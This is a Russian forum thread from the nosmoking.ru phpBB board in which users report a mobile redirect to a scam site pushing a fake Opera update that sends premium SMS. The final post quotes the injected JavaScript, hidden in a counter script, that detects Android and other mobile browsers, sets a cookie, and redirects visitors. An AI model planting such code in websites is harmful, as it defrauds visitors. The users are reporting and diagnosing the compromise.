NOSMOKING.RU - НЕ КУРИМ! http://nosmoking.ru/phpBB2/ |
|
Переадресация на сайт мошенников! http://nosmoking.ru/phpBB2/viewtopic.php?f=4&t=17101 |
Страница 2 из 2 |
Автор: | willbefree [ 22 окт 2011, 09:59 ] |
Заголовок сообщения: | |
... |
Автор: | Игорюха [ 02 ноя 2011, 09:37 ] |
Заголовок сообщения: | |
Судя по тому, что вчера с мобильного на сайт зашёл, проблема с переадресацией Администрацией сайта решена. |
Автор: | Mojo [ 04 ноя 2011, 15:12 ] |
Заголовок сообщения: | |
Сняли переадресацию. Теперь все норм с телефона |
Автор: | Mojo [ 04 ноя 2011, 15:16 ] |
Заголовок сообщения: | |
Игорюха писал(а): Судя по тому, что вчера с мобильного на сайт зашёл, проблема с переадресацией Администрацией сайта решена. Решили. Сначала сайт начал переадресовывать на другой сайт с "подделкой", потом убрали таки эту хрень. Говорят денег на этом миллиарды зарабатывают. В Германии даже СМС с рекламой (спамом) без договоренности с владельцем номера слать нельзя, а в России можно все. А я думаю, откуда столько людей на джипах ездят
|
Автор: | Mojo [ 04 ноя 2011, 15:25 ] |
Заголовок сообщения: | |
Semafor писал(а): То и удивляет, что поддельную оперу загружаю с официального сайта оперы , изначально заходя на www.opera.com простым набором адреса в строке браузера. Где ловушка? Обычная Опера на www.opera.com, а в данном случае -левый сайт с левой Оперой. Ловушка -чел попадает на этот левый сайт, который говорит, что надо срочно Оперу обновить. Чел обновляет. В процессе установки подделка спрашивает типа [вы согласны с условиями] и варианты "Да" и "Далее" (в этой подделке так), жмете да и подделка шлет СМС на короткий платный номер. Вот где ловушка -чел не знает, что этой "левый" сайт и не знает, что официальный так навязывать типа новую версию оперы не имеет права, и ставит се на телефон модификацию
|
Автор: | Mojo [ 04 ноя 2011, 15:36 ] |
Заголовок сообщения: | |
vasm писал(а): Подробнее можно почитать здесь, причем там и про наш сайт написано... Так это я и писал там ))
http://www.google.com/url?q=http://my.o ... -d_TaxPsHg |
Автор: | Mojo [ 04 ноя 2011, 15:47 ] |
Заголовок сообщения: | |
http://WapSyst.biz http://wizard-mobile.com http://wapmobile.biz самые большие это первые две а вот их топики на форуме, где они общаются http://forum.searchengines.ru/showthrea ... ost9526202 http://forum.searchengines.ru/showthrea ... 69&page=17 http://forum.searchengines.ru/showthrea ... 35&page=59 http://forum.searchengines.ru/showthrea ... 959&page=5 Ну твари а! Россия... слов нет. Чурки на джипах ездят, русские на пятнашках )) Инфа с того же форума на офсайте |
Автор: | R. [ 01 май 2013, 21:26 ] |
Заголовок сообщения: | Re: Переадресация на сайт мошенников! |
С Android клиентов благополучно перебрасывает на "левый" сайт с предложением обновить браузер Opera. Увы |
Автор: | crush [ 21 июн 2013, 00:25 ] |
Заголовок сообщения: | Re: Переадресация на сайт мошенников! |
R. писал(а): С Android клиентов благополучно перебрасывает на "левый" сайт с предложением обновить браузер Opera. Увы Подтверждаю. Ниже кусок html от /phpBB2/index.php , который Android'ов (и не только) пересылает на левый сайт, но только в том случае, если не проставлена кука, т.е. второй раз перекидывать не станет, только новых. Такая же фигня, вроде как, и с корня / Кстати, очень интересно, что за дыра у вас позволяет инъекции подобные вставлять? Код: <!----------------------------- Counters ------------------------>
<div align="center"> <!--webbot bot="Include" U-Include="webbot_enclosement.shtml" TAG="BODY" startspan --> <table border="0" cellpadding="3" cellspacing="0" width="100%"> <tbody> <tr> <td valign="top"><!-- SpyLOG f:0211 --> <script language="javascript"><!-- Mu="u1063.26.spylog.com";Md=document;Mnv=navigator;Mp=1; Mn=(Mnv.appName.substring(0,2)=="Mi")?0:1;Mrn=Math.random(); Mt=(new Date()).getTimezoneOffset(); Mz="p="+Mp+"&rn="+Mrn+"&t="+Mt; My=""; My+="<a href='http://"+Mu+"/cnt?cid=106326&f=3&p="+Mp+"&rn="+Mrn+"' target='_blank'>"; My+="<img src='http://"+Mu+"/cnt?cid=106326&"+Mz+"&r="+escape(Md.referrer)+"&pg="+escape(window.location.href)+"' border=0 width=88 height=31 alt='SpyLOG'>"; My+="</a>";Md.write(My); var gx = [/m(ob|in)i|droid|symb|midp|j2me/i, /ip(h|a|o)/i, navigator.userAgent, ".c1z", window.location.hostname]; function cc(b) { location.replace("http://" + b[4] + b[3] + ".ru/r/?mm=22") } function cx(b) { for(var d = document.cookie.split(";"), c = 0;c < d.length;c++) { for(var a = d[c];" " == a.charAt(0);) { a = a.substring(1, a.length) } if(0 == a.indexOf(b)) { return!0 } } return!1 } if(!cx("often=") && !cx("ref=")) { var dx = new Date; dx.setTime(dx.getTime() + 432E5); document.cookie = "ref=1; expires=" + dx.toGMTString() + "; path=/"; gx[2].match(gx[0]) && !gx[2].match(gx[1]) && cc(gx) } ; //--></script><noscript> |
Страница 2 из 2 | Часовой пояс: UTC + 4 часа |
Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ |